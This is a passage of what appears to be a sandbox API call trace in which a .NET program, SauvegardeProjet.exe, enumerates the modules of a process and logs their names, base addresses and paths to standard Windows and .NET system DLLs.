1 [0066.627] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.627] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x742e0000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="System.Runtime.Remoting.ni.dll") returned 0x1e [0066.627] CoTaskMemFree (pv=0x4e7ba58) [0066.627] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.627] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x742e0000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Runt73a1fc9d#\\7dc02b53cd1fa9685d4cf9a94fe7998c\\System.Runtime.Remoting.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.runt73a1fc9d#\\7dc02b53cd1fa9685d4cf9a94fe7998c\\system.runtime.remoting.ni.dll")) returned 0x83 [0066.628] CoTaskMemFree (pv=0x4e7ba58) [0066.628] GetModuleInformation (in: hProcess=0x290, hModule=0x74150000, lpmodinfo=0x279b098, cb=0xc | out: lpmodinfo=0x279b098*(lpBaseOfDll=0x74150000, SizeOfImage=0x190000, EntryPoint=0x741ed026)) returned 1 [0066.629] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.629] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x74150000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="gdiplus.dll") returned 0xb [0066.630] CoTaskMemFree (pv=0x4e7ba58) [0066.630] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.630] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x74150000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\gdiplus.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\gdiplus.dll")) returned 0x71 [0066.630] CoTaskMemFree (pv=0x4e7ba58) [0066.630] GetModuleInformation (in: hProcess=0x290, hModule=0x73c90000, lpmodinfo=0x279d248, cb=0xc | out: lpmodinfo=0x279d248*(lpBaseOfDll=0x73c90000, SizeOfImage=0x19e000, EntryPoint=0x73cbe6b5)) returned 1 [0066.631] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.631] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x73c90000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="comctl32.dll") returned 0xc [0066.632] CoTaskMemFree (pv=0x4e7ba58) [0066.632] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.632] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x73c90000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll")) returned 0x7a [0066.633] CoTaskMemFree (pv=0x4e7ba58) [0066.633] GetModuleInformation (in: hProcess=0x290, hModule=0x74ce0000, lpmodinfo=0x279f410, cb=0xc | out: lpmodinfo=0x279f410*(lpBaseOfDll=0x74ce0000, SizeOfImage=0x13000, EntryPoint=0x74ce1d3f)) returned 1 [0066.634] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.634] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x74ce0000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="dwmapi.dll") returned 0xa [0066.634] CoTaskMemFree (pv=0x4e7ba58) [0066.634] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.634] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x74ce0000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll")) returned 0x1e [0066.635] CoTaskMemFree (pv=0x4e7ba58) [0066.635] GetModuleInformation (in: hProcess=0x290, hModule=0x754b0000, lpmodinfo=0x27a151c, cb=0xc | out: lpmodinfo=0x27a151c*(lpBaseOfDll=0x754b0000, SizeOfImage=0x83000, EntryPoint=0x754b23d2)) returned 1 [0066.636] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.636] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x754b0000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="CLBCatQ.DLL") returned 0xb [0066.637] CoTaskMemFree (pv=0x4e7ba58) [0066.637] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.637] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x754b0000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\CLBCatQ.DLL" (normalized: "c:\\windows\\syswow64\\clbcatq.dll")) returned 0x1f [0066.638] CoTaskMemFree (pv=0x4e7ba58) [0066.638] GetModuleInformation (in: hProcess=0x290, hModule=0x74050000, lpmodinfo=0x27a3628, cb=0xc | out: lpmodinfo=0x27a3628*(lpBaseOfDll=0x74050000, SizeOfImage=0xfb000, EntryPoint=0x740617e1)) returned 1 [0066.638] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.638] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x74050000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="WindowsCodecs.dll") returned 0x11 [0066.639] CoTaskMemFree (pv=0x4e7ba58) [0066.639] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.639] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x74050000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\WindowsCodecs.dll" (normalized: "c:\\windows\\system32\\windowscodecs.dll")) returned 0x25 [0066.640] CoTaskMemFree (pv=0x4e7ba58) [0066.640] GetModuleInformation (in: hProcess=0x290, hModule=0x76420000, lpmodinfo=0x27a574c, cb=0xc | out: lpmodinfo=0x27a574c*(lpBaseOfDll=0x76420000, SizeOfImage=0x5000, EntryPoint=0x76421438)) returned 1 [0066.641] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.641] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x76420000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="psapi.dll") returned 0x9 [0066.642] CoTaskMemFree (pv=0x4e7ba58) [0066.642] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.642] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x76420000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll")) returned 0x1d [0066.642] CoTaskMemFree (pv=0x4e7ba58) [0066.642] CloseHandle (hObject=0x290) returned 1 [0066.820] EnumProcessModules (in: hProcess=0x290, lphModule=0x261e58c, cb=0x100, lpcbNeeded=0x563cf30 | out: lphModule=0x261e58c, lpcbNeeded=0x563cf30) returned 1 [0066.821] GetModuleInformation (in: hProcess=0x290, hModule=0xea0000, lpmodinfo=0x261e6cc, cb=0xc | out: lpmodinfo=0x261e6cc*(lpBaseOfDll=0xea0000, SizeOfImage=0x9c000, EntryPoint=0xf36c3e)) returned 1 [0066.821] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.821] GetModuleBaseNameW (in: hProcess=0x290, hModule=0xea0000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="SauvegardeProjet.exe") returned 0x14 [0066.822] CoTaskMemFree (pv=0x4e7ba58) [0066.822] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.822] GetModuleFileNameExW (in: hProcess=0x290, hModule=0xea0000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\SauvegardeProjet.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\sauvegardeprojet.exe")) returned 0x3a [0066.822] CoTaskMemFree (pv=0x4e7ba58) [0066.822] GetModuleInformation (in: hProcess=0x290, hModule=0x77850000, lpmodinfo=0x2620840, cb=0xc | out: lpmodinfo=0x2620840*(lpBaseOfDll=0x77850000, SizeOfImage=0x180000, EntryPoint=0x0)) returned 1 [0066.822] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.822] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x77850000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="ntdll.dll") returned 0x9 [0066.822] CoTaskMemFree (pv=0x4e7ba58) [0066.822] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.822] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x77850000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll")) returned 0x1d [0066.822] CoTaskMemFree (pv=0x4e7ba58) [0066.822] GetModuleInformation (in: hProcess=0x290, hModule=0x75250000, lpmodinfo=0x2622944, cb=0xc | out: lpmodinfo=0x2622944*(lpBaseOfDll=0x75250000, SizeOfImage=0x4a000, EntryPoint=0x75252e54)) returned 1 [0066.823] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.823] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x75250000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="MSCOREE.DLL") returned 0xb [0066.823] CoTaskMemFree (pv=0x4e7ba58) [0066.823] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.823] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x75250000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\SYSTEM32\\MSCOREE.DLL" (normalized: "c:\\windows\\system32\\mscoree.dll")) returned 0x1f [0066.823] CoTaskMemFree (pv=0x4e7ba58) [0066.823] GetModuleInformation (in: hProcess=0x290, hModule=0x75a20000, lpmodinfo=0x2624a50, cb=0xc | out: lpmodinfo=0x2624a50*(lpBaseOfDll=0x75a20000, SizeOfImage=0x110000, EntryPoint=0x75a332d3)) returned 1 [0066.823] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.823] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x75a20000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="KERNEL32.dll") returned 0xc [0066.824] CoTaskMemFree (pv=0x4e7ba58) [0066.824] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.824] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x75a20000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNEL32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll")) returned 0x20 [0066.824] CoTaskMemFree (pv=0x4e7ba58) [0066.824] GetModuleInformation (in: hProcess=0x290, hModule=0x765f0000, lpmodinfo=0x2626b64, cb=0xc | out: lpmodinfo=0x2626b64*(lpBaseOfDll=0x765f0000, SizeOfImage=0x46000, EntryPoint=0x765f7478)) returned 1 [0066.824] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.824] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x765f0000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="KERNELBASE.dll") returned 0xe [0066.824] CoTaskMemFree (pv=0x4e7ba58) [0066.824] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.824] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x765f0000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNELBASE.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll")) returned 0x22 [0066.825] CoTaskMemFree (pv=0x4e7ba58) [0066.825] GetModuleInformation (in: hProcess=0x290, hModule=0x75b30000, lpmodinfo=0x2628cac, cb=0xc | out: lpmodinfo=0x2628cac*(lpBaseOfDll=0x75b30000, SizeOfImage=0xa0000, EntryPoint=0x75b449e5)) returned 1 [0066.825] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.825] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x75b30000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="ADVAPI32.dll") returned 0xc [0066.825] CoTaskMemFree (pv=0x4e7ba58) [0066.825] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.825] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x75b30000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ADVAPI32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll")) returned 0x20 [0066.825] CoTaskMemFree (pv=0x4e7ba58) [0066.825] GetModuleInformation (in: hProcess=0x290, hModule=0x75e30000, lpmodinfo=0x262adc0, cb=0xc | out: lpmodinfo=0x262adc0*(lpBaseOfDll=0x75e30000, SizeOfImage=0xac000, EntryPoint=0x75e3a472)) returned 1 [0066.826] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.826] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x75e30000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="msvcrt.dll") returned 0xa [0066.826] CoTaskMemFree (pv=0x4e7ba58) [0066.826] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.826] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x75e30000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll")) returned 0x1e [0066.826] CoTaskMemFree (pv=0x4e7ba58) [0066.826] GetModuleInformation (in: hProcess=0x290, hModule=0x762b0000, lpmodinfo=0x262cecc, cb=0xc | out: lpmodinfo=0x262cecc*(lpBaseOfDll=0x762b0000, SizeOfImage=0x19000, EntryPoint=0x762b4975)) returned 1 [0066.827] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.827] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x762b0000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="sechost.dll") returned 0xb [0066.827] CoTaskMemFree (pv=0x4e7ba58) [0066.827] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.827] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x762b0000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll")) returned 0x1f [0066.827] CoTaskMemFree (pv=0x4e7ba58) [0066.827] GetModuleInformation (in: hProcess=0x290, hModule=0x772d0000, lpmodinfo=0x262efd8, cb=0xc | out: lpmodinfo=0x262efd8*(lpBaseOfDll=0x772d0000, SizeOfImage=0xf0000, EntryPoint=0x772e0569)) returned 1 [0066.828] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.828] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x772d0000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="RPCRT4.dll") returned 0xa [0066.828] CoTaskMemFree (pv=0x4e7ba58) [0066.828] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.828] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x772d0000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\RPCRT4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll")) returned 0x1e [0066.828] CoTaskMemFree (pv=0x4e7ba58) [0066.828] GetModuleInformation (in: hProcess=0x290, hModule=0x753b0000, lpmodinfo=0x2631130, cb=0xc | out: lpmodinfo=0x2631130*(lpBaseOfDll=0x753b0000, SizeOfImage=0x60000, EntryPoint=0x753ca3b3)) returned 1 [0066.829] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.829] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x753b0000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="SspiCli.dll") returned 0xb [0066.829] CoTaskMemFree (pv=0x4e7ba58) [0066.829] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.829] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x753b0000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SspiCli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll")) returned 0x1f [0066.829] CoTaskMemFree (pv=0x4e7ba58) [0066.829] GetModuleInformation (in: hProcess=0x290, hModule=0x753a0000, lpmodinfo=0x263323c, cb=0xc | out: lpmodinfo=0x263323c*(lpBaseOfDll=0x753a0000, SizeOfImage=0xc000, EntryPoint=0x753a10e1)) returned 1 [0066.830] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.830] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x753a0000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="CRYPTBASE.dll") returned 0xd [0066.830] CoTaskMemFree (pv=0x4e7ba58) [0066.830] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.830] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x753a0000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\CRYPTBASE.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll")) returned 0x21 [0066.830] CoTaskMemFree (pv=0x4e7ba58) [0066.830] GetModuleInformation (in: hProcess=0x290, hModule=0x751d0000, lpmodinfo=0x2635350, cb=0xc | out: lpmodinfo=0x2635350*(lpBaseOfDll=0x751d0000, SizeOfImage=0x78000, EntryPoint=0x751df7ba)) returned 1 [0066.831] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.831] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x751d0000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="mscoreei.dll") returned 0xc [0066.831] CoTaskMemFree (pv=0x4e7ba58) [0066.831] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.831] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x751d0000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoreei.dll")) returned 0x3a [0066.831] CoTaskMemFree (pv=0x4e7ba58) [0066.831] GetModuleInformation (in: hProcess=0x290, hModule=0x75ce0000, lpmodinfo=0x2637498, cb=0xc | out: lpmodinfo=0x2637498*(lpBaseOfDll=0x75ce0000, SizeOfImage=0x57000, EntryPoint=0x75cf9ba6)) returned 1 [0066.832] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.832] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x75ce0000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="SHLWAPI.dll") returned 0xb [0066.832] CoTaskMemFree (pv=0x4e7ba58) [0066.832] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.832] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x75ce0000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SHLWAPI.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll")) returned 0x1f [0066.833] CoTaskMemFree (pv=0x4e7ba58) [0066.833] GetModuleInformation (in: hProcess=0x290, hModule=0x773c0000, lpmodinfo=0x26395a4, cb=0xc | out: lpmodinfo=0x26395a4*(lpBaseOfDll=0x773c0000, SizeOfImage=0x90000, EntryPoint=0x773d6343)) returned 1 [0066.833] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.833] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x773c0000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="GDI32.dll") returned 0x9 [0066.833] CoTaskMemFree (pv=0x4e7ba58) [0066.833] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.833] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x773c0000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\GDI32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll")) returned 0x1d [0066.834] CoTaskMemFree (pv=0x4e7ba58) [0066.834] GetModuleInformation (in: hProcess=0x290, hModule=0x756f0000, lpmodinfo=0x263b6a8, cb=0xc | out: lpmodinfo=0x263b6a8*(lpBaseOfDll=0x756f0000, SizeOfImage=0x100000, EntryPoint=0x7570b6ed)) returned 1 [0066.834] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.834] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x756f0000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="USER32.dll") returned 0xa [0066.835] CoTaskMemFree (pv=0x4e7ba58) [0066.835] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.835] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x756f0000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USER32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll")) returned 0x1e [0066.835] CoTaskMemFree (pv=0x4e7ba58) [0066.835] GetModuleInformation (in: hProcess=0x290, hModule=0x762d0000, lpmodinfo=0x263d7b4, cb=0xc | out: lpmodinfo=0x263d7b4*(lpBaseOfDll=0x762d0000, SizeOfImage=0xa000, EntryPoint=0x762d36a0)) returned 1 [0066.835] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.835] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x762d0000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="LPK.dll") returned 0x7 [0066.836] CoTaskMemFree (pv=0x4e7ba58) [0066.836] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.836] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x762d0000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\LPK.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll")) returned 0x1b [0066.836] CoTaskMemFree (pv=0x4e7ba58) [0066.836] GetModuleInformation (in: hProcess=0x290, hModule=0x75410000, lpmodinfo=0x263f8b0, cb=0xc | out: lpmodinfo=0x263f8b0*(lpBaseOfDll=0x75410000, SizeOfImage=0x9d000, EntryPoint=0x75443fd7)) returned 1 [0066.837] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.837] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x75410000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="USP10.dll") returned 0x9 [0066.837] CoTaskMemFree (pv=0x4e7ba58) [0066.837] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.837] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x75410000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USP10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll")) returned 0x1d [0066.838] CoTaskMemFree (pv=0x4e7ba58) [0066.838] GetModuleInformation (in: hProcess=0x290, hModule=0x76500000, lpmodinfo=0x2641a40, cb=0xc | out: lpmodinfo=0x2641a40*(lpBaseOfDll=0x76500000, SizeOfImage=0x60000, EntryPoint=0x7651158f)) returned 1 [0066.838] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.838] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x76500000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="IMM32.DLL") returned 0x9 [0066.839] CoTaskMemFree (pv=0x4e7ba58) [0066.839] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.839] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x76500000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\IMM32.DLL" (normalized: "c:\\windows\\system32\\imm32.dll")) returned 0x1d [0066.839] CoTaskMemFree (pv=0x4e7ba58) [0066.839] GetModuleInformation (in: hProcess=0x290, hModule=0x75d40000, lpmodinfo=0x2643b44, cb=0xc | out: lpmodinfo=0x2643b44*(lpBaseOfDll=0x75d40000, SizeOfImage=0xcc000, EntryPoint=0x75d4168b)) returned 1 [0066.840] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.840] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x75d40000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="MSCTF.dll") returned 0x9 [0066.840] CoTaskMemFree (pv=0x4e7ba58) [0066.840] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.840] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x75d40000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\MSCTF.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll")) returned 0x1d [0066.840] CoTaskMemFree (pv=0x4e7ba58) [0066.841] GetModuleInformation (in: hProcess=0x290, hModule=0x751c0000, lpmodinfo=0x2645c48, cb=0xc | out: lpmodinfo=0x2645c48*(lpBaseOfDll=0x751c0000, SizeOfImage=0x9000, EntryPoint=0x751c1220)) returned 1 [0066.841] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.841] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x751c0000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="VERSION.dll") returned 0xb [0066.841] CoTaskMemFree (pv=0x4e7ba58) [0066.841] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.841] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x751c0000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\VERSION.dll" (normalized: "c:\\windows\\system32\\version.dll")) returned 0x1f [0066.843] CoTaskMemFree (pv=0x4e7ba58) [0066.843] GetModuleInformation (in: hProcess=0x290, hModule=0x74630000, lpmodinfo=0x2647d54, cb=0xc | out: lpmodinfo=0x2647d54*(lpBaseOfDll=0x74630000, SizeOfImage=0x6a8000, EntryPoint=0x74777040)) returned 1 [0066.843] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.843] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x74630000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="clr.dll") returned 0x7 [0066.844] CoTaskMemFree (pv=0x4e7ba58) [0066.844] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.844] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x74630000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clr.dll")) returned 0x35 [0066.844] CoTaskMemFree (pv=0x4e7ba58) [0066.844] GetModuleInformation (in: hProcess=0x290, hModule=0x750c0000, lpmodinfo=0x2649e84, cb=0xc | out: lpmodinfo=0x2649e84*(lpBaseOfDll=0x750c0000, SizeOfImage=0xf5000, EntryPoint=0x75114160)) returned 1 [0066.845] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.845] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x750c0000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="MSVCR120_CLR0400.dll") returned 0x14 [0066.845] CoTaskMemFree (pv=0x4e7ba58) [0066.845] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.845] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x750c0000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\MSVCR120_CLR0400.dll" (normalized: "c:\\windows\\system32\\msvcr120_clr0400.dll")) returned 0x28 [0066.846] CoTaskMemFree (pv=0x4e7ba58) [0066.846] GetModuleInformation (in: hProcess=0x290, hModule=0x72500000, lpmodinfo=0x264bfb8, cb=0xc | out: lpmodinfo=0x264bfb8*(lpBaseOfDll=0x72500000, SizeOfImage=0x122b000, EntryPoint=0x0)) returned 1 [0066.846] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.846] GetModuleBaseNameW (in: hProcess=0x290, hModule=0x72500000, lpBaseName=0x4e7ba58, nSize=0x800 | out: lpBaseName="mscorlib.ni.dll") returned 0xf [0066.847] CoTaskMemFree (pv=0x4e7ba58) [0066.847] CoTaskMemAlloc (cb=0x804) returned 0x4e7ba58 [0066.847] GetModuleFileNameExW (in: hProcess=0x290, hModule=0x72500000, lpFilename=0x4e7ba58, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\mscorlib\\b7a12c4c0032847fcc6b9c710460456f\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\mscorlib\\b7a12c4c0032847fcc6b9c710460456f\\mscorlib.ni.dll")) returned 0x68 [0066.847] CoTaskMemFree (pv=0x4e7ba58) [0066.847] GetModuleInformation (in: hProcess=0x290, hModule=0x75540000, lpmodinfo=0x264e160, cb=0xc | out: 